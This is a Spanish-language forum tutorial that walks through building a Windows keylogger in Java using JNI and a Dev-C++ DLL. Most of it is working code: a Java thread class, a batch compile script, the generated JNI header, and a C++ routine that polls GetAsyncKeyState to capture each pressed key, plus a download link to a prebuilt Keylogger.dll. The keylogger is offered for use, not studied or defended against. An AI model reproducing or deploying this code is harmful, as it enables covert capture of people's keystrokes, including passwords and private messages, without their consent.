Hola a todos!
Aqui les traigo mi tutorial sobre como programar un Keylogger en java usando JNI y DEV++
Necesitas los archivos:
jni_md.hhttp://www.mediafire.com/?wt30y33j4mgjni.hhttp://www.mediafire.com/?zngnmognn5hLos cuales incluiran en el directorio "C:\Archivos de programa\Dev-Cpp\include"
- Paso 1: Creación del Archivo .java
Importante: No tiene que estar en ningun Package
public class Keylogger
extends Thread { private boolean running=true;
private int value =0;
private native int get();
static {
System.
loadLibrary("Keylogger"); /**
* Carga de la DLL
*/
}
@Override
public synchronized void run(){
while(running){
value = get();
/**
* Optenemos la Tecla Precionada
*/
System.
out.
println((char)value
); /**
* La Mostramos en la Salida Estandar
*/
}
}
}
- Paso 2: Creación del .bat para compilacion JNI (Opcional)
Nombre: CompilerJNI.bat
@echo off
title Java
set/p j= .java :
echo.
call javac %j%.java
call javah -jni %j%
pause
echo.
exit
- Paso 3: Generando el . Class y la Cabecera .h (JNI)
Ejecutamos el CompilerJNI.bat y le pasamos el Archivo .java (Keylogger.java) sin la extension.
Podrias compilar direcamente desde la consola
javac Keylogger.java
javah -jni KeyloggerTienes que tener algun JDK
Abrimos el DEV++
File--->New---->Project--->DLLLuego veremos 2 Archivos (dllMain.cpp) y la cabecera .h (dll.h) ,
remplazamos el contenido del dll.h por la del Keylogger.h y guardamos como Keylogger.h.
/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>/* Header for class Keylogger */
#ifndef _Included_Keylogger
#define _Included_Keylogger
#ifdef __cplusplus
extern "C" {
#endif
#undef Keylogger_MIN_PRIORITY
#define Keylogger_MIN_PRIORITY 1L
#undef Keylogger_NORM_PRIORITY
#define Keylogger_NORM_PRIORITY 5L
#undef Keylogger_MAX_PRIORITY
#define Keylogger_MAX_PRIORITY 10L
#undef Keylogger_DELAY
#define Keylogger_DELAY 20L
/** Class: Keylogger
* Method: get
* Signature: ()I
*/
JNIEXPORT jint JNICALL Java_Keylogger_get (JNIEnv *, jobject);
#ifdef __cplusplus
}
#endif
#endif
Si da problemas
Este archivo tiene que estar en
C:\Archivos de programa\Dev-Cpp\includeahora remplazar el contenido de dllMain.cpp por este:
[/list]
#include <iostream>
#include <windows.h>
#include <fstream>
#include <jni.h>
#include "Keylogger.h"
JNIEXPORT jint JNICALL Java_Keylogger_get(JNIEnv* env, jobject obj){
while(true){
for(int c=8;c<=222;c++){
if(GetAsyncKeyState(c)==-32767)
return c;
}
Sleep(30);
}
}
Y guardar como Keylogger.cpp
Una ves que tengamos El Keylogger.cpp y el Keylogger.h listos en nuestro proyecto Compilamos para generar la DLL
Y listo solo tendriamos que incluir la libreria al lado del Keylogger.java o .class y ejecutar para iniciar el keylogger.
public class Main {
public static void main
(String[] args
) { new Keylogger().start();
}
}
Aqui les dejo la DLL Keylogger.dll
http://www.mediafire.com/?e03u9r0emaerf9gUn Saludo.